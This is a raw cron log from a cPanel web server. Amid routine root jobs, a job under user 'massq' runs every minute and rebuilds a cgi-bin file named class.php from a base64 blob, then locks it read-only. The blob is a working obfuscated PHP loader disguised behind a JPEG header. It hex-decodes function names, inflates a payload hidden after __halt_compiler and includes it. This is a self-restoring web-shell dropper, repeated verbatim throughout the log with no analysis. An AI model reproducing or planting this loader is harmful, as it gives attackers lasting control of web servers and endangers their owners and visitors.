Nov 14 15:25:01 server CROND[20785]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:25:01 server CROND[20786]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 15:26:01 server CROND[21806]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:27:01 server CROND[22662]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:27:01 server CROND[22663]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 15:28:01 server CROND[23524]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:29:01 server CROND[24391]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:30:01 server CROND[25266]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 15:30:01 server CROND[25267]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 15:30:01 server CROND[25276]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 15:30:01 server CROND[25277]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:31:01 server CROND[26099]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:32:01 server CROND[26920]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:33:01 server CROND[27649]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:34:01 server CROND[28403]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:35:01 server CROND[29027]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 15:35:01 server CROND[29026]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 15:35:01 server CROND[29030]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 15:35:01 server CROND[29041]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 14 15:35:01 server CROND[29045]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:36:01 server CROND[29980]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:37:01 server CROND[30936]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
